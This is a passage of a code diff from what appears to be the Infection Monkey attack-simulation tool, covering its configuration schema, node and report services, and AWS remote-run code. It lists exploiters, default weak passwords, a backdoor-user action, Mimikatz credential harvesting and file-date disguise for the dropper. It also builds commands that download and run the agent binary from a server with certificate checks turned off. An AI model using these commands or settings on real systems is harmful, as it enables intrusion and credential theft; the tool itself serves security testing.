"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
@ -881,7 +29,9 @@ ENCRYPTED_CONFIG_ARRAYS = \
# This should be used for config values of string type
ENCRYPTED_CONFIG_STRINGS = \
[
['cnc', 'aws_config', 'aws_access_key_id'],
['cnc', 'aws_config', 'aws_account_id'],
['cnc', 'aws_config', 'aws_secret_access_key']
]
@ -892,11 +42,12 @@ class ConfigService:
pass
@staticmethod
def get_config(is_initial_config=False, should_decrypt=True):
def get_config(is_initial_config=False, should_decrypt=True, is_island=False):
"""
Gets the entire global config.
:param is_initial_config: If True, the initial config will be returned instead of the current config.
:param should_decrypt: If True, all config values which are set as encrypted will be decrypted.
:param is_island: If True, will include island specific configuration parameters.
:return: The entire global config.
"""
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {}
@ -904,6 +55,8 @@ class ConfigService:
config.pop(field, None)
if should_decrypt and len(config) > 0:
ConfigService.decrypt_config(config)
if not is_island:
config.get('cnc', {}).pop('aws_config', None)
return config
@staticmethod
@ -927,6 +80,12 @@ class ConfigService:
config = encryptor.dec(config)
return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
mongo.db.config.update({'name': 'newconfig'},
{"$set": {mongo_key: value}})
@staticmethod
def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
@ -986,6 +145,8 @@ class ConfigService:
@staticmethod
def update_config(config_json, should_encrypt):
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
cc.services.post_breach_files.set_config_PBA_files(config_json)
if should_encrypt:
try:
ConfigService.encrypt_config(config_json)
@ -1021,6 +182,7 @@ class ConfigService:
@staticmethod
def reset_config():
cc.services.post_breach_files.remove_PBA_files()
config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False)
@ -1077,11 +239,15 @@ class ConfigService:
ConfigService._encrypt_or_decrypt_config(config, False)
@staticmethod
def decrypt_flat_config(flat_config):
def decrypt_flat_config(flat_config, is_island=False):
"""
Same as decrypt_config but for a flat configuration
"""
keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
if is_island:
keys = [config_arr_as_array[2] for config_arr_as_array in
(ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
else:
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair

View File

@ -0,0 +1,950 @@
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"post_breach_acts": {
"title": "Post breach actions",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"BackdoorUser"
],
"title": "Back door user",
},
],
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
},
"post_breach_actions": {
"title": "Post breach actions",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
],
"description": "List of actions the Monkey will run post breach"
},
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"custom_PBA_linux_cmd": {
"title": "Linux post breach command",
"type": "string",
"default": "",
"description": "Linux command to be executed after breaching."
},
"PBA_linux_file": {
"title": "Linux post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Linux post breach command' field. "
"Reference your file by filename."
},
"custom_PBA_windows_cmd": {
"title": "Windows post breach command",
"type": "string",
"default": "",
"description": "Windows command to be executed after breaching."
},
"PBA_windows_file": {
"title": "Windows post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Windows post breach command' field. "
"Reference your file by filename."
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
"default": ""
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
"default": ""
},
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
},
"monkey_dir_windows": {
"title": "Monkey's windows directory",
"type": "string",
"default": r"C:\Windows\temp\monkey_dir",
"description": "Directory containing all monkey files on windows"
},
"monkey_dir_linux": {
"title": "Monkey's linux directory",
"type": "string",
"default": "/tmp/monkey_dir",
"description": "Directory containing all monkey files on linux"
},
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
},
'aws_config': {
'title': 'AWS Configuration',
'type': 'object',
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
'properties': {
'aws_account_id': {
'title': 'AWS account ID',
'type': 'string',
'description': 'Your AWS account ID that is subscribed to security hub feeds',
'default': ''
},
'aws_access_key_id': {
'title': 'AWS access key ID',
'type': 'string',
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
'default': ''
},
'aws_secret_access_key': {
'title': 'AWS secret access key',
'type': 'string',
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
'default': ''
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"user_to_add": {
"title": "Remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"remote_user_pass": {
"title": "Remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 0,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}

View File

@ -6,6 +6,7 @@ import cc.services.log
from cc.database import mongo
from cc.services.edge import EdgeService
from cc.utils import local_ip_addresses
import socket
__author__ = "itay.mizeretz"
@ -41,6 +42,7 @@ class NodeService:
# node is uninfected
new_node = NodeService.node_to_net_node(node, for_report)
new_node["ip_addresses"] = node["ip_addresses"]
new_node["domain_name"] = node["domain_name"]
for edge in edges:
accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
@ -62,7 +64,10 @@ class NodeService:
@staticmethod
def get_node_label(node):
return node["os"]["version"] + " : " + node["ip_addresses"][0]
domain_name = ""
if node["domain_name"]:
domain_name = " ("+node["domain_name"]+")"
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
@staticmethod
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
@ -137,6 +142,8 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"],
"domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
}
@staticmethod
@ -176,10 +183,11 @@ class NodeService:
upsert=False)
@staticmethod
def insert_node(ip_address):
def insert_node(ip_address, domain_name=''):
new_node_insert_result = mongo.db.node.insert_one(
{
"ip_addresses": [ip_address],
"domain_name": domain_name,
"exploited": False,
"creds": [],
"os":
@ -191,10 +199,10 @@ class NodeService:
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
def get_or_create_node(ip_address):
def get_or_create_node(ip_address, domain_name=''):
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
if new_node is None:
new_node = NodeService.insert_node(ip_address)
new_node = NodeService.insert_node(ip_address, domain_name)
return new_node
@staticmethod
@ -261,6 +269,7 @@ class NodeService:
def get_monkey_island_node():
island_node = NodeService.get_monkey_island_pseudo_net_node()
island_node["ip_addresses"] = local_ip_addresses()
island_node["domain_name"] = socket.gethostname()
return island_node
@staticmethod
@ -294,6 +303,10 @@ class NodeService:
def is_monkey_finished_running():
return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive()
@staticmethod
def get_latest_modified_monkey():
return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1)
@staticmethod
def add_credentials_to_monkey(monkey_id, creds):
mongo.db.monkey.update(

View File

@ -0,0 +1,43 @@
import cc.services.config
import logging
import os
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
UPLOADS_DIR = 'monkey_island/cc/userUploads'
def remove_PBA_files():
if cc.services.config.ConfigService.get_config():
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
if linux_filename:
remove_file(linux_filename)
if windows_filename:
remove_file(windows_filename)
def remove_file(file_name):
file_path = os.path.join(UPLOADS_DIR, file_name)
try:
if os.path.exists(file_path):
os.remove(file_path)
except OSError as e:
logger.error("Can't remove previously uploaded post breach files: %s" % e)
def set_config_PBA_files(config_json):
"""
Sets PBA file info in config_json to current config's PBA file info values.
:param config_json: config_json that will be modified
"""
if cc.services.config.ConfigService.get_config():
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename

View File

@ -0,0 +1,138 @@
from cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
from common.cmd.cmd import Cmd
from common.cmd.cmd_runner import CmdRunner
__author__ = "itay.mizeretz"
class RemoteRunAwsService:
aws_instance = None
is_auth = False
def __init__(self):
pass
@staticmethod
def init():
"""
Initializes service. Subsequent calls to this function have no effect.
Must be called at least once (in entire monkey lifetime) before usage of functions
:return: None
"""
if RemoteRunAwsService.aws_instance is None:
RemoteRunAwsService.aws_instance = AwsInstance()
@staticmethod
def run_aws_monkeys(instances, island_ip):
"""
Runs monkeys on the given instances
:param instances: List of instances to run on
:param island_ip: IP of island the monkey will communicate with
:return: Dictionary with instance ids as keys, and True/False as values if succeeded or not
"""
instances_bitness = RemoteRunAwsService.get_bitness(instances)
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async(
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip,
instances_bitness[instance['instance_id']]),
lambda _, result: result.is_success)
@staticmethod
def is_running_on_aws():
return RemoteRunAwsService.aws_instance.is_aws_instance()
@staticmethod
def update_aws_auth_params():
"""
Updates the AWS authentication parameters according to config
:return: True if new params allow successful authentication. False otherwise
"""
access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True)
secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True)
if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key):
AwsService.set_auth_params(access_key_id, secret_access_key)
RemoteRunAwsService.is_auth = AwsService.test_client()
AwsService.set_region(RemoteRunAwsService.aws_instance.region)
return RemoteRunAwsService.is_auth
@staticmethod
def get_bitness(instances):
"""
For all given instances, checks whether they're 32 or 64 bit.
:param instances: List of instances to check
:return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise
"""
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])),
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
RemoteRunAwsService._is_linux(instance['os']), result))
@staticmethod
def _get_bitness_by_result(is_linux, result):
if not result.is_success:
return None
elif is_linux:
return result.stdout.find('i686') == -1 # i686 means 32bit
else:
return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit
@staticmethod
def run_aws_bitness_cmd_async(instance_id, is_linux):
"""
Runs an AWS command to check bitness
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:return: Cmd
"""
cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:'
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit):
"""
Runs a monkey remotely using AWS
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:param island_ip: IP of the island which the instance will try to connect to
:param is_64bit: Whether the instance is 64bit
:return: Cmd
"""
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip)
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
def run_aws_cmd_async(instance_id, is_linux, cmd_line):
cmd_runner = AwsCmdRunner(is_linux, instance_id)
return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line))
@staticmethod
def _is_linux(os):
return 'linux' == os
@staticmethod
def _get_run_monkey_cmd_linux_line(bit_text, island_ip):
return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \
bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \
island_ip + r':5000'
@staticmethod
def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
bit_text = '64' if is_64bit else '32'
return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip)

View File

@ -3,11 +3,14 @@ import functools
import ipaddress
import logging
from bson import json_util
from enum import Enum
from six import text_type
from cc.database import mongo
from cc.report_exporter_manager import ReportExporterManager
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
@ -37,7 +40,8 @@ class ReportService:
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter'
}
class ISSUES_DICT(Enum):
@ -52,7 +56,8 @@ class ReportService:
STRUTS2 = 8
WEBLOGIC = 9
HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11
PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -123,10 +128,12 @@ class ReportService:
'label': node['label'],
'ip_addresses': node['ip_addresses'],
'accessible_from_nodes':
(x['hostname'] for x in
list((x['hostname'] for x in
(NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
'services': node['services']
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'],
'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
})
logger.info('Scanned nodes generated for reporting')
@ -146,6 +153,7 @@ class ReportService:
{
'label': monkey['label'],
'ip_addresses': monkey['ip_addresses'],
'domain_name': monkey['domain_name'],
'exploits': list(set(
[ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
exploit['result']]))
@ -326,6 +334,12 @@ class ReportService:
processed_exploit['type'] = 'hadoop'
return processed_exploit
@staticmethod
def process_mssql_exploit(exploit):
